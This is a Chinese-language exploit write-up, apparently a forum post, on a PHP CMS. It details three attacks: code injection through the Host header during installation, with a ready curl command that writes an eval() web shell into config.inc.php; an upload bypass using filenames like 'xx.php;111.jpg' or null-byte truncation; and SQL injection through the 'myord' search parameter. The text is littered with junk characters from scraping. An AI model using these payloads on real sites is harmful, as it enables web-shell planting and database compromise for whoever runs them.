注入:, e7 `1 D' p5 A3 y9 T- x
' P4 E3 j4 a3 L X; S& Y! v- H3 O7 _之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
4 S$ P/ Y6 R% _& c4 w( O * @0 g8 v8 F0 Y$ J
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
/ E6 t; Z4 ~+ n4 `" M. ~$ V鸡肋2: 有一定安全常识的站长都会删掉 install 目录/ V/ r9 u% r& X, c
' D8 u! i; {& {3 u, y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响% i6 U+ e7 V H1 B
* y, K; N7 {2 t: N
分析:
* Q9 ~0 {" Y% c6 T2 ~$ f) ]- N+ A; t/ t / a7 Y$ q7 d9 m8 A. t0 N& e
+ ^. p6 g% T% b. N# I0 ?) }$ f- ^$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
" r% X! \9 C. S+ t' v/ t
& o# t0 ]9 V: G& n0 ?5 R $filestr = fread(fopen($SysConfigFile, 'r'),30000);
/ R4 f |$ L" S+ N; a, D" s $filestr=str_replace(" ","",$filestr);6 ?6 ^& I5 F, q! a( a
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr); h; k; J6 t' b7 g/ J
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
! t& ^0 x7 ~- g1 u* E7 M $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);. d7 O, h6 H+ {, N+ i* q3 [9 W5 l
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, Q% L) I) ^7 A
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ ^# f& k6 t1 X $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" @' X6 ?' R5 T
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
' Z4 v2 C) o% L$ F+ D $ W4 N* c x* t5 m% K7 \ V
fwrite(fopen($ConFile,"w"),$filestr,30000);, ]% p6 n# Z6 m0 ]7 S, _- L2 R
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
( K$ J& {, i4 R" ? 5 X& [. r2 Z' d; y5 a9 S
poc:, g0 c; P/ Q/ z2 m, I
: ~' x% H0 o6 K. U; N9 O4 f
?
, I. ]1 i9 I2 A2 b& d G1
3 d; f, [4 u+ g" ]! e5 Kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"! t& `0 P% [7 _# f
shell地址: /config.inc.php
! X( n! S. r0 x跟之前的 phpcms一样 需要远程数据库
0 ]5 F/ a( y9 Y0 ] $ @* @3 M2 Q Z2 ]) e& n+ l
——————————————————–
6 g% T) w" E7 j+ j3 Y+ u; y: `; j上传漏洞(需要进后台):0 e* Q) w8 Z) d! V: E
漏洞文件: /kedit/upload_cgi/upload.php2 c- A9 a1 y X/ ^, I
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 u5 Y6 A n9 D) z$ V( b9 s, S& s
/ x3 _$ G ^" h! y# @8 B4 D _! r
& J. R+ @0 s* \, P/ z+ V2 @<?php$ {0 g [8 v6 U* H! [
define("ROOTPATH", "../../");0 T) g! x1 `, n- S* O9 l
include(ROOTPATH."includes/admin.inc.php");
( p0 B) W5 l: B1 [# I: ] NeedAuth(0);
( \& P- c+ G. K4 K( m; l! C( ]5 O
2 o U1 f+ C+ ]1 X9 H0 ~! G: ?* d $dt=date("Ymd",time());
+ [& q3 Z9 a4 X: n! r$ z3 k2 f7 e9 _ if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
; t8 @* J4 ?* G) ?8 l9 m @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
( I8 O( w4 A8 w }" [- ?/ g7 B) `2 R/ Z/ U s, M
]1 \) R6 ?4 v
//文件保存目录路径
; L& L' U, e. O4 p! Z2 C $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( f( N" l- Q2 G
echo $save_path;" v5 T/ X( a$ G; q) J4 F6 A
//文件保存目录URL
8 v* d' `$ M: ]3 X/ V $save_url = '../../'.$_POST['attachPath'].$dt.'/';
$ n6 e/ D+ ^8 y) B( ]. e
$ D* r: n+ m# I //定义允许上传的文件扩展名/ [& r& s, Q! Q. e E f
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀: d8 B& e1 d- C; N2 |5 @/ Z
3 G$ i: _" f( t //最大文件大小: o0 w4 {& W( [6 Q( T1 y. }
$max_size = 1000000;
" G9 X4 q6 G) a$ U, c 4 i- L# Y/ v' d$ n( M% a
//更改目录权限# h4 P4 w- ]# P/ T
@mkdir($save_path, 0777);
& V1 N8 d7 o5 J3 C / _9 C! S @/ N% } d. W4 S, X4 s
//文件的全部路径4 y2 L) a' S5 B! N4 h
$file_path = $save_path.$_POST['fileName']; //保存文件名
4 O$ h& T# J! x x- u 6 a. h) p- d! C Z0 J5 ]% J0 {
//文件URL) w8 t& Q( G& T9 F' Z
$file_url = $save_url.$_POST['fileName'];
. u4 |" H1 s$ w. G' T1 @; b//有上传文件时
[/ H# \, j% @) P$ @ if (empty($_FILES) === false) {% C. V# Z& M' l# {1 A
2 j8 W! C4 [! [3 m; }9 @
//原文件名; d! O, g0 }0 m E; S' z" e& Q9 q% q
$file_name = $_FILES['fileData']['name'];! {, s1 @4 Y5 a& j
//服务器上临时文件名+ i' W" l+ V: Y9 b6 _2 L
$tmp_name = $_FILES['fileData']['tmp_name'];8 e6 v6 L" s0 `, V/ \
//文件大小
5 d' e# J. V' ]5 q- J $file_size = $_FILES['fileData']['size'];/ _7 [. R& |' a' i) l
//检查目录) v( @+ h" u4 D) j# D) u
if (@is_dir($save_path) === false) {% k M- l$ o) X
alert("上传目录不存在。"); ~1 |6 P0 |! Q! ]& ^+ D7 S1 |' g% z
}. a% z: [) ]8 d
//检查目录写权限
' L4 E; y* i( V1 u6 f if (@is_writable($save_path) === false) {
- T( ]$ k! C& F7 B. { alert("上传目录没有写权限。");. {( x/ K, `4 O& ^% e1 @2 _
}
" ^3 B6 K' ]' u! q0 l //检查是否已上传
/ A4 T! u* ~8 a- V if (@is_uploaded_file($tmp_name) === false) {
& a9 I, w7 w' \ ^" Z3 ]0 R alert("临时文件可能不是上传文件。");7 @8 c, Y& K, N2 ]( @5 Q# M
}, X* U# D+ `- ~; ^' V0 Z
//检查文件大小0 `! w4 X9 }4 J
if ($file_size > $max_size) {
2 o) [7 w2 U% u4 f2 x8 Q o alert("上传文件大小超过限制。");
- d5 w2 D: x6 j& N' d }
3 c3 f3 e& F" @: _: e- U! H //获得文件扩展名" J$ k8 }6 f$ ^/ g, a
$temp_arr = explode(".", $_POST['fileName']);" g/ ~' T- I2 `0 z8 i. [
$file_ext = array_pop($temp_arr);$ o ?; m% F$ _- b. \/ y t: X4 m
$file_ext = trim($file_ext);
, V6 B" y# O4 t) f1 H $file_ext = strtolower($file_ext);
- D' o. i! U R& @ . E$ C3 @$ F3 ?! O
//检查扩展名 " s( I# B2 P$ b- R3 V
if (in_array($file_ext, $ext_arr) === false) {
5 x; E; P7 L. _' p alert("上传文件扩展名是不允许的扩展名。");
) a s! P$ H/ r# c }% F0 R/ g o5 W, O9 }
) \. x2 O3 T6 x! J& y
//移动文件
8 J0 D Y6 J, J# e' {( m: n! {7 \ //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^1 N1 C2 P0 H# _ Y% G' @
if (move_uploaded_file($tmp_name, $file_path) === false) {
2 ] z9 |! W1 ^1 s' D1 { alert("上传文件失败。");
L6 d* c4 L. C1 k }* a+ P2 F6 d4 [/ f7 E
2 c# [9 ~! C3 }- y7 B% O @chmod($file_path,0666);5 v% Z3 X0 i6 l. I
: t& Q. f/ I& B) I ?>
! D& y( }; u ^; {6 Q抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227$ Z; ]" w. M/ n" D! C! q
# Y) z; | D6 G9 j. a, B. a
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 U: m- K& I3 Q5 g- s
5 g: ^: j% m3 ^2 f4 ]/ i$ H8 V——————————————————
# ^3 s4 h; l# [2 H- u% X注入漏洞:- a+ Q7 ~9 m3 m
漏洞文件:search/module/search.php
. U7 d& X B) M/search/index.php?key=1&myord=1 [sqlinjection]& F: [: Y2 ]! @6 A
% r; d+ u6 T5 `+ `( |
! N/ c. x8 t5 Q! n+ Q% p5 o<?php
5 _' r. v; p; K' G. l; l$ X5 t( ?- c // ... 省略 n 行...
/ ?: x, Q; ~; g- Q //第18行:
. S5 X/ h* K1 d- k+ X' C $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响: L' |0 b3 H, F8 }1 C
$page=htmlspecialchars($_GET["page"]);
5 d) \+ n& Q6 E$ ^' K8 I $myord=htmlspecialchars($_GET["myord"]);
. [- ~) [; Z% l& I$ R # \9 J& h/ T1 d% F6 F0 @- g, S
// ... 省略 n 行...) i4 N$ J, U" J* O x# M0 x$ ]
$key,$myord 两个参数带入查询8 J, g8 F% c7 Q+ d0 H/ _7 z
//第47行 $key:8 `3 n3 ?3 b3 b. x$ \) g3 x" o
5 Y0 b* p ~! |- V; u9 a
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- k% g& L' T4 v9 Z- q" J6 u1 }' s
8 Y+ z; M. E: R) Q" N, ? //第197行 $myord( u# A( ]! {8 k8 a6 _
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
7 _' |# z& z& k, c4 o
1 V4 C [9 e1 D! ]" Z ?>* T7 z: P6 U' B7 c/ O) M! b6 a+ Q% b
|